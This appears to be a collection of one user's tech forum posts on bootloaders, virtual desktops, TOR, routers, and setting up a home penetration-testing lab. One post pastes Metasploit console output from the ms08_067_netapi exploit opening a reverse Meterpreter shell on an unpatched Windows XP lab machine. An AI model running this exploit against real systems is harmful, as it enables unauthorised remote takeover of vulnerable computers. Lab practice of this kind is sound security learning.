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I'm a bigger fan of grub then lilo personally, so this might not be able to work exactly, but you could try booting from a live Ubuntu cd, and installing grub/lilo from there. There is probably a more elegant solution, but I just woke up and haven't had breakfast or anything yet so my brain is still booting...(it uses grub too)

I've been using Sondel Virtual Desktop to give my windows 7 machine some more desktops. But I recently figure out that the hot keys to switch dektops (alt+`, alt+1...) are also used by a program I use. Not being able to figure out how to change the hot keys for Sondle, since there is very little customization, I am now looking for a new virtual desktop program, and curious what some of you guys use for it.

Doing a virtual machine of windows is usually an option, you could also try WINE. I haven't tried WINE with those though, so I can't offer much more then that.

First off, this is more of a question for the questions forum I think. Access from anywhere, would you want to be able to stream music/video anywhere? or just be able to access the machine from anywhere?

You could always call them back, to double check that you can't use a router. Sometimes people are mis-informed or new there and don't have the proper info. But if he was right, and you can't, you can ask them what you could do, since I'm sure they have had this problem with other customers. Without knowing their network details it's hard to figure a way around it.

http://en.wikipedia.org/wiki/CUDA#Supported_GPUs Check to see if your card is on there for CUDA.

Does your networking work without TOR or anything?

Do you know if TOR is up and connected correctly? Or is the problem after your connected to the TOR network? EDIT:: Also, what does it show when you go to :: https://check.torproject.org/?

Huh, guess your right, I just haven't seen anything about it in the past few years, so I thought it was still off a few years. I don't think I've looked into since I built my last computer...which might mean I'll need a new one soon =P

Didn't Darren say you also needed a pay version of virtual box or something? or did I misunderstand that?

Yep, until usb 3.0 comes out.

From what little research I just did, firewire 800 has a peak transfer rate of 780 Mbps, while the SSD drive can transfer at 5200 Mbps. So the firewire would be a huge bottle neck for this. That is assuming my math is right, and the original info I got from some random sites are also correct.

That was done well over a year ago wasn't it?

Hmmmm interesting, I've thought about signing up for twitter, but I recently found out that my user name is taken... Tempting...very tempting

My wife has a Droid and she loves it for the most part. She recently updated to the newest update, and she is annoyed with it, among some of the upgrades, the patch also disabled being able to silence the phone, which she hates.

Yep, tor takes all your traffic and send it through their network, and out a node. Most of these nodes are user run, so someone could sniff all the packets going through their part of the network, and get everything your sending/receiving. I assume the chances of that happening is pretty low, but good info to know.

Is the point of all this just to be able to use a public machine anonymously? or was there another reason for doing all this that I gleaned over?

Quick google search brings up a plethora of sources. http://www.liliputing.com/2008/04/install-...i-note-usb.html looks to be about what you need.

For all those pesky problems, there is always thermite.. :P

It was not, I rarely, if every, update VMs. After updating to test it, I also updated my BT4 install/metasploit, and now metasploit won't run. So I'll take your word that ms08_067 won't work on a fully patched XP SP3 machine, but for those wondering, it works on an un-patched one =P.

uh huh msf exploit(ms08_067_netapi) > exploit [*] Started reverse handler on 192.168.1.106:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 3 - lang:English [*] Selected Target: Windows XP SP3 English (NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (748544 bytes) to 192.168.1.181 [*] Meterpreter session 1 opened (192.168.1.106:4444 -> 192.168.1.181:1072) at 2010-08-20 12:27:54 -0600 meterpreter >

ms08_067_netapi I believe still works on SP3

Uh huh. You don't need to know how to rebuild an engine when you start to learn to drive, and those thigns are very nitty-gritty low level things. The high level languages were made so people didn't have to deal with assembly, binary, and hex. (for the most part) I know some programmers that never deal with the low level stuff. But I have heard that if you want to get paid huge sums of money, you can specialize in assembly, so you can save cpu cycles on programs, but that is extremely high end. I'm not saying that a little knowledge of hex/binary can't be useful when starting out, but it's far from needed for a basic into to programming.

I recently did a big upgrade to my home network (2 Tb NAS, Media Server, new router), I got a new wireless linksys one, 4 Ethernet ports, N wireless. http://www.newegg.com/Product/Product.aspx...ys%20n%20router I think it's pretty popular so it should be in stores too. Then I took my old router which would stop working whenever I downloaded big files, and hooked it up to some VM servers to do pen testing. Yours doesn't need to be wireless for pentests(just can't play around and cracking WEP, not that there is much fun in that anymore). If your main machine is a desktop, get another NIC and plug that into your pentest router and hook computers/VMs up to that, that is if your VM's are on a different machine. If your running them all on your main computer, there is an option to network them, at least in virtualBox. Bottom line, I'm very happy with my new router, I've onyl had to restart it once or twice, and that was because my ISP was replacing equipment or something, and it handles streaming video to my media server, while transferring to my network drive with no problems

Snubs did a little segment on using twitter to control your home pc, with it you could download files, reboot, and a bunch of other stuff. http://revision3.com/hak5/tweetmypc Season 7, episode 4 http://www.hak5.org/episodes/episode-704 That seems like a pretty simple solution for your problem.